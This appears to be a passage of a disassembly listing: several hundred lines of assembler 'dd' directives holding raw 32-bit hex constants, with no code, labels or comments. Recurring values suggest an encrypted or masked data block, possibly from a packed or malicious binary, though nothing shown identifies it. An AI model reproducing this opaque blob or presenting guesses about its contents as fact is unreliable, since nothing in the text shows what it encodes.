		dd 638E7B96h, 192086Fh,	154D3D5Ah, 31629832h, 156699DBh
		dd 0CFCE4B32h, 0D14B0164h, 705137D7h, 0AD3DF9F4h, 98EBADEEh
		dd 135799F5h, 0EAA9152h, 156680DBh, 0B3105732h,	88A8F802h
		dd 0C499703Eh, 1561043Dh, 9F694432h, 15662233h,	1ED41CAh
		dd 11A20B16h, 157FCC3Dh, 18F2232h, 0E1661132h, 50A0793Bh
		dd 0C95FC0E0h, 0A1F2CB2Ah, 0ED22CD17h, 75537964h, 5C99318Dh
		dd 1574CB02h, 0ECA31132h, 0A4E43B37h, 46528F92h, 0F5BF308Ch
		dd 0A1A1B679h, 39E7D853h, 3F05FA16h, 0AF347B15h, 70300222h
		dd 32244AB3h, 94247EC3h, 783FCFC0h, 4FB710B5h, 15668DDBh
		dd 415C2C32h, 984D7C66h, 134D1F8Fh, 15668EDBh, 80A62B32h
		dd 751D29F9h, 8AB28Bh, 0DED8771h, 0FC664432h, 15662221h
		dd 148771CAh, 0C96AFEBBh, 0AAD6CB8Fh, 6F6D1EEAh, 74B458DEh
		dd 386735B1h, 1A664219h
		dd 1566B0B6h, 156BF832h, 0B18F8832h, 767EC2A0h,	0C92A0756h
		dd 9E9EB9CFh, 3E48B1B7h, 1A062434h, 156622BAh, 0F4E77032h
		dd 48DFE410h, 14E36F53h, 0E060091Fh, 9369D009h,	15668869h
		dd 4E3CFCEh, 0FC600935h, 1566113Ah, 400EC945h, 82078409h
		dd 3867A731h, 9E691719h, 15668835h, 0DEBBC452h,	9C074352h
		dd 3E61DCB7h, 0F5E7E834h, 41B054Bh, 1C5F9854h, 1568F853h
		dd 598E8832h, 1F790023h, 96CBFC51h, 9A5FF885h, 156760DBh
		dd 0E906BC32h, 73C5C5B3h, 7D0742EBh, 1566A714h,	0FC4248BBh
		dd 15662220h, 0B705BF0Eh, 377602C7h, 45D93CF7h,	82CD0FDAh
		dd 7C0E811Fh, 9C668819h, 0D8EF601Eh, 0E03BCABBh, 0D357E103h
		dd 83287803h, 156FC43Dh, 9E062232h, 54EFAAFDh, 4707E05Ah
		dd 1A220F88h, 0A1A4A33Ch, 1C97E1F9h, 138FD2E2h,	0EE664432h
		dd 102905E8h, 0EADB443Bh, 3C9977CDh, 1A0619DAh,	156623BEh
		dd 9E00E432h, 90EFE9E2h, 134D6A0Bh, 1576CB52h, 0A0231132h
		dd 8A79B799h, 0BBA465BEh, 3FB4D93Bh, 9E00F4FEh,	9067E9C3h
		dd 134D62CBh, 1568A33Dh, 1C8F1132h, 7B668832h, 0E16C82BEh
		dd 0E4551A08h, 386794F5h, 15668E19h, 0FD064432h, 15662234h
		dd 5880D52Ah, 1D8E0804h, 0A1664432h, 689ADA08h,	4CC38944h
		dd 1EED876Bh, 0FC664432h, 15662234h, 5769E76Eh,	7F07C73Ch
		dd 150EB172h, 75662222h, 156619DBh, 164EF832h, 0E5430A1h
		dd 72929B28h, 7507178Eh, 75B0373Dh, 0A2691E65h,	470743F0h
		dd 0D7E7F3BBh, 15668836h, 9262AEB1h, 9C3A0626h,	1A06353Eh
		dd 15668EB5h, 15EB4B32h, 74662232h, 92691158h, 15668831h
		dd 7507BC52h, 1F009954h, 1576F852h, 0A6FD8832h,	32F0656Ah
		dd 0DE899989h, 0CB96E6F7h, 9400AD6Eh, 749827FBh, 40F3DD53h
		dd 0FC603A33h, 15668834h, 0EAAE4EEh, 1A060C5Eh,	0E5EDCA85h
		dd 0F37753h, 1A606F1Fh,	156628BEh, 95697132h, 15668832h
		dd 9C07BFB9h, 3E6133B7h, 156CF834h, 180F8832h, 38963864h
		dd 250D7D71h, 15661EDBh, 9AEF1032h, 0E6F61CFEh,	38A4E4A6h
		dd 49A87A7Fh, 12AB0DBBh, 93694219h, 1566223Ah, 15649B3Dh
		dd 74068832h, 4C4270CDh, 1562E6B3h, 73061132h, 752F088Ch
		dd 358EC554h, 7407428Bh, 0D8D3EE53h, 7560A335h,	3F4B2B3h
		dd 749E3966h, 1BDBA4CDh, 98698E19h, 1566442Bh, 1568CA52h
		dd 9AE41132h, 59A557Dh,	7715A876h, 0DE3C78Fh, 0D7ED7768h
		dd 9C357453h, 11A5C5D1h, 94662232h, 156615D9h, 317A0F32h
		dd 315ACD6Eh, 0A099DACEh, 134D0417h, 156682DBh,	0DA6E5C32h
		dd 4909CFD8h, 98026976h, 24B5D1B7h, 1A8F2434h, 53662232h
		dd 0F59D1CBh, 128C013Fh, 0F159CEB8h, 73067841h,	0FC3AD68Ah
		dd 1566883Ch, 5EAA34E5h, 79514561h, 65F109F8h, 74071E3Eh
		dd 1D8F94CDh, 5D662232h, 28D9AA59h, 0EDCD3A9Ch,	3867C933h
		dd 9E9E2419h, 3E61DC8Fh, 9400E834h, 7578E5F8h, 0E5E74352h
		dd 49F3456Fh, 9E69E953h, 1566443Ah, 81A9A352h, 742211C2h
		dd 1BDB3DB9h, 1C8F4219h, 17662232h, 19663BCCh, 0BEB4EAB4h
		dd 0EDC2B7CEh, 1575A73Dh, 1B8F1132h, 0BA668832h, 0AD2A85D2h
		dd 18B42685h, 0DB180D63h, 0C0D3030Bh, 0ED606F1Eh, 156BA73Dh
		dd 1D8F1132h, 18668832h, 675C521Ah, 0B8AC990Ah,	15661ADBh
		dd 8FCE4732h, 1311468Dh, 0ED646417h, 1566A863h,	9C368832h
		dd 0E920CDFAh, 128F7B6Ah, 6E661132h, 0D02C817Dh, 0D5A75322h
		dd 14EA2D37h, 0EC661132h, 1EAC3260h, 0F7A772BDh, 168CE335h
		dd 9467D3B1h, 0DF1D32F0h, 0A18CC50Dh, 1469340Dh, 73064BE2h
		dd 0D5D346B3h, 1564C23Dh, 99D42232h, 1CE31253h,	0FC60A33Ah
		dd 15664420h, 3A60B34Eh, 8044D154h, 9C702107h, 60A6CB7Fh
		dd 188F59EDh, 2D661132h, 59241D43h, 663354C1h, 0F496A247h
		dd 12AB9CB9h, 9E068E19h, 2FBEC4E4h, 118AA153h, 9A421DBBh
		dd 1A93E832h, 156642BDh, 0FC85A332h, 7449B0A4h,	9400E89Fh
		dd 0FCDFD5FCh, 15662226h, 2FAA8050h, 0AB047292h, 26BD3721h
		dd 833DF578h, 0F700E09Bh, 83DDDB53h, 9435601Dh,	573FDED9h
		dd 94BDE61Ah, 0AC4543C1h, 0B8DE1436h, 3CB7853Bh, 4BEF49F1h
		dd 1B8FD3CEh, 9B664432h, 62681808h, 0B458D090h,	752CEABCh
		dd 0C0D3CD31h, 0ED60091Eh, 1A99E9B1h, 1566E4B7h, 48F2432h
		dd 22662232h, 1F213A89h, 4301F489h, 4F3115C4h, 373C17FEh
		dd 74979A54h, 0C8BBB6B3h, 906999EFh, 15662277h,	0FBE77752h
		dd 45077D7Eh, 1566F967h, 0FDEF2232h, 4D60986Fh,	11DDDBCAh
		dd 14664432h, 317AA9ECh, 0E962D5B1h, 0C0D301CAh, 75606F1Eh
		dd 1AA0A954h, 156612B3h, 0C4EDEE32h, 0C156AD53h, 0AC06DDCDh
		dd 9C04D79h, 16A64953h,	1577C43Dh, 198F2232h, 0A2661132h
		dd 0D11A222Fh, 81A9F678h, 16F041F0h, 3E6E18B7h,	0E18734h
		dd 1A664432h, 15662DB1h, 156CF832h, 0E95B8832h,	16D3E9C2h
		dd 0C6FEEBCh, 156E943Dh, 90698832h, 15664430h, 0A8E54352h
		dd 134D356Fh, 8EE28733h, 1A664431h, 156631B5h, 18E21E32h
		dd 0FC668832h, 1566443Ah, 0F122EAEFh, 17A47CD4h, 0BF5809CBh
		dd 1ACCEE98h, 1566ACB7h, 1574F832h, 0FB908832h,	0CAEE9B7Eh
		dd 7F0B0A6h, 23B90B93h,	39C36A50h, 1562FD63h, 0DB672232h
		dd 96421DB9h, 0A2068CF6h, 0C8BFC51Ah, 7415C38Ch, 9C62FDB1h
		dd 15DEAC36h, 9C664432h, 0E93EDE74h, 11ED4662h,	11A20916h
		dd 4A664432h, 156AA03Dh, 98691132h, 15668834h, 1566C93Dh
		dd 0A2352232h, 0E8899101h, 0D5C567B2h, 0DA9846DDh, 9564C5F2h
		dd 0EDEE4CF5h, 5B8F7169h, 0ED664432h, 15662CDBh, 153ECD32h
		dd 27CF0158h, 0D98CE80Ch, 24A88617h, 24A120CAh,	156161CAh
		dd 6BCA4432h, 0A708A0ECh, 12E51E59h, 1A668832h,	156645BFh
		dd 0BE0ED732h, 9C66115Ah, 0FDD1AC2Eh, 1A3DBCBAh, 15662AB5h
		dd 17EA1E32h, 75668832h, 0F0EF1153h, 1562E7B3h,	0F8E51132h
		dd 314A0F36h, 3162CD6Eh, 156624DBh, 0EAD78A32h,	962CC4B9h
		dd 3E6C698Fh, 91692334h, 15661058h, 1A9AE852h, 156644B7h
		dd 43074332h, 0FF5B758Ch, 94885969h, 0B728C7FCh, 1788A306h
		dd 942EF447h, 0B2D196C4h, 0B737FCAAh, 0E567B07Bh, 0E006716Ch
		dd 156685DBh, 4CA6C732h, 279E1246h, 0A5D49465h,	0E907538Ah
		dd 0A8E5BD53h, 1354BA07h, 27E21E32h, 75668832h,	738987B2h
		dd 8B31C4B3h, 0CFB9C53h, 7560B9DAh, 156648DBh, 1F46EE32h
		dd 0C17A963Ch, 0CABB9002h, 13EB4B21h, 1A662232h, 156611B3h
		dd 0C699E932h, 8559C4CAh, 154AA63Dh, 75061132h,	165B62B3h
		dd 74072FE8h, 15639F67h, 0D2E71132h, 543DAE33h,	0FAE7AB33h
		dd 543D0433h, 739E716Fh, 74CA9F8Ch, 15678DDBh, 0EDE5DA32h
		dd 0B2E41E62h, 1A668832h, 15664ABBh, 156FCB32h,	0AC4A1132h
		dd 0BD9D8717h, 44933104h, 0D098CD87h, 0D578E4B2h, 0D0E68FDFh
		dd 9393C4B6h, 9DFDD7B2h, 0CD9048DAh, 84AE606h, 8E625806h
		dd 9A69D752h, 15661137h, 0F8E488Dh, 0E9CC251Dh,	15662FDBh
		dd 34D50332h, 283C16ADh, 5D57C9A9h, 11ED80CBh, 0F4EF4016h
		dd 156249B3h, 0D4E54432h, 316AA536h, 14EE1E6Eh,	0E9668832h
		dd 156FAD98h, 4B262232h, 0E482242Ch, 758CB069h,	0F7B7C554h
		dd 0FC07DBEFh, 156611E3h, 0FEE7EE52h, 1B8F7803h, 1C662232h
		dd 0CF6CF6Eh, 0D7D2E371h, 0F798CE71h, 219943DBh, 0D1E54916h
		dd 9A69E836h, 15664434h
		dd 1566AE3Dh, 0BF071132h, 1567063Dh, 959E4432h,	1A8FDD4Dh
		dd 156681B7h, 156B6132h, 40E94432h, 0F4176EFAh,	6FE85812h
		dd 96FD7CA3h, 27FE718Fh, 91692234h, 15661172h, 7A940952h
		dd 0FC253BFFh, 1566223Ah, 0FCD1BE5h, 70749A93h,	17FBC953h
		dd 1A6013D5h, 156607B0h, 5EA8732h, 0FC664432h, 15662239h
		dd 889A8995h, 0CEDB1810h, 0EAB52727h, 0AF0042E1h, 749F9A53h
		dd 15623163h, 0EC674432h, 15669860h, 0DF671132h, 4C3C8ABAh
		dd 18FBD52h, 93662232h,	76698C11h, 0AA3AB03Fh, 40C051E6h
		dd 0CC47871Bh, 740812E7h, 0D8E303CAh, 0E0606F35h, 0BB43D51Fh
		dd 5C5A147Ch, 0ED4FD232h, 152F781Fh, 30912768h,	0AA065F9Ch
		dd 32622A4Ch, 156FAD53h, 3E972232h, 0A5EDE227h,	7DB323C9h
		dd 1566623Fh, 0A8420EBBh, 15661136h, 0FC3B601Bh, 1566443Fh
		dd 0DC776948h, 608346Ch, 0E1A1EFD1h, 128FEF93h,	0B3662232h
		dd 2A00F5F6h, 1ACB4F12h, 156653B4h, 4E02D32h, 0FC661132h
		dd 1566883Eh, 0E0E3844Dh, 1DF49CE1h, 7A573B5Bh,	1566E067h
		dd 9C3B4432h, 1A3BDE5Ch, 156608BEh, 6EF8732h, 0FC664432h
		dd 1566223Ch, 6521D04Fh, 6994A9EEh, 0A62B217Eh,	538F7578h
		dd 1A99EEC9h, 156689BFh, 9369BC32h, 15662239h, 156617DBh
		dd 0D115C32h, 9C359688h, 3E4AF787h, 1EE61E34h, 0FC668832h
		dd 15664434h, 723AE252h, 0FF0E7344h, 9C668820h,	9A696026h
		dd 1566222Ch, 7E71AE52h, 78FA280h, 3C664432h, 280A42FFh
		dd 0CD05BDFFh, 0FDE5D8D2h, 92C7EDD4h, 150E43CBh, 0EC6611B2h
		dd 0FC068858h, 15664435h, 0E3D06822h, 1A0DC4C3h, 15668ABFh
		dd 74381332h, 3A0B97CDh, 0EA9E1719h, 3E52B1A7h,	2199B834h
		dd 0D1E77816h, 15661136h, 1568063Dh, 1C8F4432h,	2C662232h
		dd 4EE5E0AEh, 18C856C0h, 473C9B9h, 0D29F2419h, 5E02DD33h
		dd 0E27F7F03h, 4CDB1123h, 3C245479h, 1CE74C1Bh,	4116EC8Dh
		dd 22336DB3h, 3CE77FCAh, 0B59B5798h, 156681DBh,	0E2C5B32h
		dd 8FD1BCC0h, 443349F6h, 2C6EC25Ah, 0E4E71D56h,	715F2A7Ch
		dd 143FDCBBh, 9C9AD5DBh, 3E7751BFh, 0F9EC4234h,	0C48BC689h
		dd 1A8FE929h, 0FC99BBFAh, 15662220h, 277490B4h,	2C6ECA0Bh
		dd 88D58AAAh, 0DFF276Dh, 378F0CCEh, 0E066881Bh,	156641DBh
		dd 77428032h, 0EC066C8Ah, 47305B9h, 9B694219h, 1566223Dh
		dd 15661BDBh, 0E3C24532h, 0D7519F5h, 0EACF4954h, 316A9A03h
		dd 0E9624CB1h, 8D57C9BBh, 97692400h, 1566112Bh,	15669CDBh
		dd 4284D032h, 8B900FC7h, 968670A1h, 97F287CAh, 240BEBCEh
		dd 5B5EA39Ah, 1A2A5566h, 156605B7h, 9400B832h, 3B2A264Ah
		dd 15E6943Dh, 75068832h, 15664CDAh, 47F80532h, 68D62C73h
		dd 9B69D130h, 15664432h, 42364353h, 0C8430B8Dh,	311A892Dh
		dd 94381B36h, 0C84338DCh, 220EE42Dh, 9C66881Ch,	13DB601Eh
		dd 14662232h, 73064CDCh, 0FC81C88Bh, 1566443Fh,	42D81C06h
		dd 0AC050A13h, 1C29F350h, 94692578h, 1566223Bh,	0AB077152h
		dd 241A5F26h, 64E3CF53h, 0FC60093Fh, 1566113Eh,	0B968A992h
		dd 0E961B828h, 0EABD4DD0h, 156334DBh, 94367D32h, 426036h
		dd 21ED7846h, 11A29216h, 4266B3h, 1F8F1E46h, 91662232h
		dd 0DE242A8h, 8D15EA33h, 2D8D2CCAh, 11EF2232h, 95694B16h
		dd 15668833h, 0FCAF75C7h, 1566223Ah, 7EE3E710h,	94F127F4h
		dd 12E64B9Eh, 1A662232h, 156610B4h, 73067432h, 6195ADB3h
		dd 0D1FDE1B3h, 29073775h, 79E28732h, 1A664433h,	156637B2h
		dd 1576F832h, 883F8832h, 0D097C28Fh, 4E0F0987h,	302F6802h
		dd 385A156Dh, 0EADCC03Dh, 299EDDCDh, 0AEE21E1Ch, 75668832h
		dd 15664FDBh, 936D8A32h, 49AC0995h, 1DF85563h, 494C554h
		dd 255A43F0h, 103E933Dh, 299F8832h, 9CE04B0Bh, 1A99DDCDh
		dd 156610BDh, 545A7032h, 1026C63Dh, 99692232h, 15661133h
		dd 1A3CB4CEh, 0EA992FB4h, 0BEB2DCDh, 1A661132h,	156690BAh
		dd 1575AD32h, 67632232h, 0F018649Bh, 0D2FEF02Ah, 0EAB5A0ADh
		dd 9531254Fh, 1A392D30h, 0EA99B7B6h, 0E5E724CDh, 36628E5h
		dd 74A99A54h, 9769E90Eh, 156640C0h, 1A1C1EC7h, 0EA9932B4h
		dd 48F70CDh, 93664432h,	0FE8482A0h, 106D6C29h, 0B6889FCFh
		dd 0CEA498C9h, 1562EFDBh, 156AF832h, 0EE828832h, 46D21E5Dh
		dd 3171E10Ch, 433411B3h, 9220D668h, 5E04BC0h, 1A662232h
		dd 15661BBFh, 15636132h, 84AE4432h, 0FC8757E8h,	1566113Eh
		dd 0C7AE83E8h, 3C76933Bh, 0BCD24A58h, 9169E30Bh, 15668CB4h
		dd 0EAD913C7h, 1499DDCDh, 90694EC8h, 1566883Eh,	0CBD82252h
		dd 15E22DEFh, 74661132h, 0EA993765h, 0EC4FBBCDh, 808FDE6Dh
		dd 0FC99EECCh, 15668823h, 79FD1230h, 8D45319Ch,	73D90FBAh
		dd 1E8B8622h, 156FAD27h, 41252232h, 6D9F5F0Dh, 9065E1F1h
		dd 3AE24BFBh, 0FC662236h, 1566113Ch, 3DD9484Bh,	0E9E6BEAh
		dd 9FB1917Ah, 0A0EB15C8h, 134D81DFh, 1577C73Dh,	198F2232h
		dd 0FC661132h, 0E57C308Bh, 611F6149h, 47AB4E22h, 659EA863h
		dd 594FD79Ch, 4C3F4016h, 659EE3B3h, 73064E9Ch, 750BD188h
		dd 1C8FB3B9h, 8B662232h, 6DEAB933h, 0E22A8EAEh,	47932553h
		dd 96421EB9h, 1C8F15F6h, 0E7668832h, 0A31BF8A3h, 0AABA6435h
		dd 460EA760h, 50D68981h, 253D9C32h, 0FC0678C2h,	1566113Dh
		dd 0FF683F10h, 0FC75B894h, 0E55A4D7Fh, 73244D5Fh, 0BCBC4EB3h
		dd 0E813EA53h, 0EBD12D52h, 156619DBh, 8B280232h, 0C8E53709h
		dd 108F43BAh, 43661132h, 2D4105BBh, 7C45FE60h, 0C7911525h
		dd 499BE3B3h, 9424FDFBh, 9D87CFC0h, 4FB7239Eh, 0FCE7E81Bh
		dd 4CFA39Bh, 1567C93Dh,	7D9F2232h, 15667E48h, 0E24284BBh
		dd 0FC3F602Eh, 15662223h, 0EC51FBEBh, 6D8FEC15h, 44BB2661h
		dd 7F3071BEh, 33DD423Dh, 14594848h, 0DA4F1FEDh,	6F40CDB3h
		dd 9E692EF2h, 1566883Fh, 1560AD52h, 0CEE52232h,	0C4B50791h
		dd 2491B953h, 1A9175CCh, 156625B6h, 0AD007132h,	7493087Dh
		dd 739FE0C1h, 46669262h, 0EA99EE89h, 9D9D89CDh,	4D001F31h
		dd 157FA43Dh, 18F1132h,	0FB668832h, 830343D9h, 0DD344DF1h
		dd 3A23C421h, 0FB1F77DDh, 98131BFFh, 3E6FCFA7h,	1FE41E34h
		dd 75668832h, 1566C93Dh, 74062232h, 7CE39A53h, 0FC60A32Bh
		dd 15664438h, 0AF8E8F0h, 9F271816h, 0D5E30D96h,	15E2C13Dh
		dd 188F2232h, 0DF661132h, 3C15412Eh, 0D372D189h, 8E88FD70h
		dd 264B94F4h, 0E9218E19h, 8FC1965Ah, 2E32DE6h, 1A661132h
		dd 156699B3h, 156AAD32h, 0F62C2232h, 82335DFEh,	0F71E6A15h
		dd 0A099B9E1h, 134D39EFh, 0FEE39CC7h, 1A60A6B1h, 156658B0h
		dd 0EBD84232h, 0FD192CDFh, 1566883Dh, 1F287A76h, 40D667FEh
		dd 57A9C121h, 4E0CAE7Ch, 75B6BB53h, 0FCA8A954h,	1566113Fh
		dd 1AFF9A4Ch, 5D0C4D1Dh, 6D82947Ah, 0CC0E70B6h,	9C668803h
		dd 0EA9E6026h, 156BCBE2h, 41041132h, 0BF8336Eh,	3BE45AC7h
		dd 751867A8h, 1561F960h, 3E218832h, 8D9F6A21h, 743C7DBCh
		dd 9069D1B7h, 156688C0h, 156AC43Dh, 96692232h, 15661134h
		dd 1566063Dh, 1C8F4432h, 78662232h, 963CAD0Ah, 4B8E8388h
		dd 0BEBC1B9h, 18F2419h,	43661132h, 499AC1BCh, 3E51F871h
		dd 5CB39DD1h, 1E61B01Bh, 90C77755h, 48E34BF2h, 75662232h
		dd 0E7ED8381h, 38E34E53h, 59606F01h, 15662DDBh,	124C3E32h
		dd 0D80B1B78h, 0A90EE66Eh
		dd 85B1ED8h, 0CF7AF85Ah, 0A09974EBh, 134D5FEFh,	1563CB52h
		dd 97581132h, 461D073Ch, 0A8A4FC54h, 90EB436Dh,	134892D9h
		dd 0FCB677CEh, 15664422h, 9C71EFCh, 0D2E38BDCh,	9FB0EA10h
		dd 1FE8DD81h, 1547CA5Ah, 31729832h, 458D0952h, 736648ACh
		dd 0F7BCD5B3h, 0C599E953h, 1AA60DCEh, 156669B7h, 156DCB32h
		dd 0FE941132h, 0A6DCD339h, 1FC56B7Bh, 159ACB3Dh, 94691132h
		dd 15668820h, 156AC53Dh, 128F2232h, 6C661132h, 57881C09h
		dd 90EF8245h, 1354BA03h, 15789A3Dh, 9F698832h, 1566442Ah
		dd 156631DBh, 0A672A132h, 0D1C51951h, 0B48F4B31h, 8F9F3275h
		dd 0E4CDE604h, 94800164h, 156640F4h, 1188A132h,	494225B5h
		dd 75428CBBh, 15664FDBh, 5AA1EA32h, 6C47D417h, 820D9C9Ah
		dd 74ACF33Dh, 156631DBh, 208B032h, 451C9F1Bh, 2AC3C3EFh
		dd 570AAD1Bh, 0D9A32FCFh, 94870163h, 156640F3h,	118FA332h
		dd 92661132h, 9C3AAC3Eh, 98936006h, 3B1856B7h, 1568F834h
		dd 0DD0C8832h, 0F566EAA9h, 7DA0285Ah, 79CB6052h, 75B677CEh
		dd 1567CA3Dh, 949E2232h, 6ADF45D1h, 0D56DE95Ah,	1574C13Dh
		dd 0FC9E2232h, 15661118h, 1563033Dh, 75064432h,	0E007DB53h
		dd 94255BBh, 156F003Dh,	0E0064432h, 1566A13Dh, 75071132h
		dd 7338DE52h, 9E07BFB9h, 0FC0743C1h, 15661138h,	0B482AD3Eh
		dd 5FC2E506h, 0FCA51EA0h, 1566113Ch, 0D4F982A1h, 16F155A3h
		dd 36BD2182h, 0FC067352h, 15668835h, 0D7DFC79Dh, 0E0CE08E4h
		dd 8D579CB9h, 90698E00h, 15664433h, 0F7EF70CBh,	1562D3B3h
		dd 0FFE78832h, 15664436h, 494236B5h, 0E94215BBh, 154F325Ah
		dd 316ACD32h, 58FDB6Ah,	8661132h, 0F9DC4274h, 0F6180FBBh
		dd 0CEA6D7D2h, 4738173Ch, 1566B488h, 16A44532h,	3172A930h
		dd 1562D5B3h, 9E698832h, 15664433h, 940042CBh, 9EA6C7DAh
		dd 0AE35E9F3h, 156644BAh, 6EDE133h, 96420DB9h, 9D698CF6h
		dd 1566443Ah, 1564AB3Dh, 74061132h, 17631DBBh, 48F4219h
		dd 66662232h, 0CEE6D7C0h, 56AF44FCh, 0CA50F669h, 31606600h
		dd 151E845Ah, 314A0132h, 1566BC8Fh, 488E2332h, 0AA697152h
		dd 156E61C5h, 0D6C34432h, 536F81F6h, 0FC07A14Ch, 15668820h
		dd 0E94C269Ch, 7F9E9A85h, 6DD095A3h, 10C28224h,	0EA07D182h
		dd 11E72E42h, 227F4716h, 31720336h, 156280B3h, 0FFE72232h
		dd 11510864h, 9EE43F52h, 80EF25F8h, 134D278Fh, 156602DBh
		dd 9DFC7B32h, 0D9FA9A82h, 0F9095FE5h, 68F1EADEh, 0F7394C9Dh
		dd 4D4270CDh, 7562E6B1h, 4C9E9B63h, 31127753h, 3162CF16h
		dd 0FC62E6B1h, 1566113Ah, 8524797Fh, 78FAAAFh, 7541E237h
		dd 4DD73C60h, 0DD4FC633h, 143EF537h, 32A60F7Ch,	1D8F4352h
		dd 89668832h, 0F8C93871h, 2E3894D0h, 3E63ACB7h,	30E48734h
		dd 1A664432h, 156623BAh, 905DE832h, 134D8A37h, 1574C73Dh
		dd 749A2232h, 1562D3CEh, 1AA40352h, 156646B8h, 74074232h
		dd 1568F853h, 3EB88832h, 37599CEAh, 0F9193158h,	51655A2Eh
		dd 75428CF5h, 0D4791F1Fh, 0EA6E061Eh, 39A7353Eh, 0AD368F16h
		dd 0EA998578h, 11426633h, 51A1E46Ah, 106C8C16h,	61E7068Fh
		dd 46EA2616h, 59E77361h, 53AF8C16h, 71A7628Bh, 94642616h
		dd 9A62355Eh, 0D41F3D73h, 1D62605Eh, 114256B3h,	1544592Bh
		dd 0AD36DFCBh, 6DB27D99h, 0F1270737h, 64503431h, 0FDA7A1E9h
		dd 324D7134h, 0D2EF1E36h, 0AC7CA96Ah, 0ED674B6Bh, 0FC30246Dh
		dd 15662235h, 75F11982h, 4AB898A4h, 9807B7B9h, 3E2883BFh
		dd 19E61E34h, 75668832h, 1566C73Dh, 0AF002232h,	0EA07E84Dh
		dd 14EE87D3h, 0E0664432h, 1DE42D52h, 1A661132h,	15668ABDh
		dd 44072432h, 32BB9D65h, 0CA9143C7h, 66D06FB3h,	0E2E766FEh
		dd 356E7210h, 1439E8BBh, 4C6702C3h, 1561C43Dh, 0ED062232h
		dd 3437AE54h, 0FC5A7053h, 1431C03Dh, 48F2232h, 7A661132h
		dd 0C56FBDC7h, 990B6417h, 486F5A3Dh, 92A38AC7h,	9169600Eh
		dd 15664562h, 1568AA3Dh, 1C8F1132h, 0A4668832h,	5038AD30h
		dd 0E87377C8h, 91691E0Eh, 1566880Bh, 156654DBh,	97C6E32h
		dd 6D355FCBh, 363128BFh, 0A57FCB4Eh, 1AAB1EEBh,	1567D2B6h
		dd 0DDD6E832h, 2907B5B9h, 0C8E22DD9h, 0EC661133h, 0FCA57053h
		dd 15664437h, 6D779AE4h, 14DE4119h, 14668832h, 15DF15C2h
		dd 14662232h, 4C7F9BF3h, 1EEC876Ah, 75664432h, 94BFA954h
		dd 0F51EB8E2h, 4406E963h, 4BB7FB3Dh, 1562AD3Dh,	0AD001132h
		dd 73072E89h, 3596F062h, 11ED44D1h, 17A29016h, 75668832h
		dd 0C28B8BB3h, 0E2E667C7h, 0EEE670FEh, 8CE387B2h, 0FC99BBCDh
		dd 15662222h, 0F77C034Bh, 0D5F3D79Fh, 10C8909h,	4685FD1Fh
		dd 9C979863h, 316A03F9h, 756280B1h, 0B5B8C8B3h,	44075956h
		dd 15668E8Bh, 8DC532h, 1447714Bh, 0A590F9h, 4C47DB4Bh
		dd 47912CCEh, 19EF2232h, 1564A816h, 0E4678832h,	1A3F5D31h
		dd 15663BBEh, 6E41E32h,	0FC668832h, 1566443Ch, 0E1257615h
		dd 0DC59140Fh, 0B840A3BEh, 0B98FAB29h, 75662232h, 156618DAh
		dd 30A65732h, 0AE7522A2h, 4E35EAF5h, 0FFBF916Ah, 14107753h
		dd 944258B9h, 156626F6h, 0EEE5E932h, 0F8E287C9h, 0ED664432h
		dd 1562CEB3h, 21EF1132h, 31620916h, 7D2F1AB9h, 9E8DA369h
		dd 0FC0E586Ch, 15668820h, 7BBF7CB2h, 8237948Dh,	0B6401871h
		dd 1E81C881h, 280E77B5h, 9C66221Dh, 14DC3526h, 14668832h
		dd 4F7C47C0h, 15662BDBh, 0FBA0E932h, 0CF7A052Eh, 0AC37E8A0h
		dd 15662237h, 307CD2B3h, 0DE67A9B8h, 307CAFB3h,	1A3F03B8h
		dd 156607B8h, 15776132h, 3F534432h, 0D935A0C7h,	5EF06CEEh
		dd 0CAE4417Fh, 0FC88091Ch, 0EA99DC46h, 1577F952h, 65A78832h
		dd 8BAA7144h, 0CAED325Bh, 3E9CEA83h, 0FC5D17D6h, 15664438h
		dd 126B2203h, 70318315h, 743D3F14h, 1438F23Dh, 1567A23Dh
		dd 969E1132h, 9169A6D9h, 0EA99BA0Ah, 156EAD3Dh,	90691132h
		dd 15668830h, 0C8F2552h, 0E9662232h, 0EB676FB2h, 0EB7C0D3Dh
		dd 9406BBCDh, 500F76F8h, 4909036h, 74022B4Ah, 0EA9AE7DBh
		dd 0A26942CDh, 9AB791CAh, 1B30E053h, 21EF4432h,	9C31DE16h
		dd 11A190D5h, 96668832h, 29E140DDh, 19EF7E16h, 9C33ED16h
		dd 11A309D7h, 94664432h, 156626DFh, 314A9632h, 317A016Eh
		dd 156649DBh, 0ED39B832h, 4BBDA199h, 19E1F635h,	0E50EC62Dh
		dd 9C662209h, 1A9E350Eh, 156684BAh, 13EA4B32h, 1A662232h
		dd 156611B4h, 0E0A6B932h, 9069249Eh, 1566223Ch,	156618DBh
		dd 0FA3F9532h, 7FE6EBCBh, 1F8F7D3Bh, 0CA661132h, 0EE8E9669h
		dd 9FD03291h, 0FF0E43A1h, 9C66110Fh, 0D3EEAC26h, 753CB7BAh
		dd 95B4953Dh, 4507D7C6h, 0F6467886h, 944240B9h,	156626F6h
		dd 14E31E32h, 0ED668832h, 1A16BFB2h, 15639EB6h,	3BDC7132h
		dd 1A14BA4Ch, 29079385h, 0D3E22D3Dh, 0FC661132h, 15668837h
		dd 3BC66A7Ah, 1A8F1EBAh, 156CD6B6h, 2DD3E832h, 1A8D7853h
		dd 156877B6h, 5EE1E32h,	0FC668832h, 15664439h, 4EACDD4h
		dd 0BEAF1536h, 294E2621h, 86E24BD1h, 1A662231h,	156616B9h
		dd 14E48732h, 0E9664432h, 1A841EC7h, 15698DB6h,	156A6132h
		dd 0A5654432h, 7545F931h, 70870D50h, 219963F2h,	0D1E71B16h
		dd 15662236h, 0FEE77752h, 0EA076DA7h, 963D6006h, 9E9A26F6h
		dd 9C30353Eh, 11A009D4h, 96664432h, 21E126F4h, 75064D16h
		dd 43AF373Dh, 9E07256Ah
		dd 9C350606h, 11A590D1h, 96668832h, 9E140F1h, 9B697E16h
		dd 15661133h, 1A064BCEh, 0FED58B85h, 0EEDE4253h, 45045890h
		dd 4DB53F3Dh, 14E38353h, 136010ABh, 1A661132h, 156684B2h
		dd 1561AD32h, 0E0CF2232h, 965F27Dh, 0AD367042h,	15664432h
		dd 0AF34D233h, 15661132h, 0FEC4A33h, 0FD061C68h, 15662226h
		dd 5A166159h, 0D0296F06h, 567AE0F1h, 847FBCCEh,	96AF1DABh
		dd 1566023Dh, 0FC3E4432h, 15662223h, 2BEBC70Dh,	0A2773967h
		dd 234DF805h, 60B27DD4h, 94067089h, 0DCC99CC4h,	55DF2266h
		dd 0F9E543EFh, 11EF7730h, 35963816h, 1A3E22F1h,	156623B3h
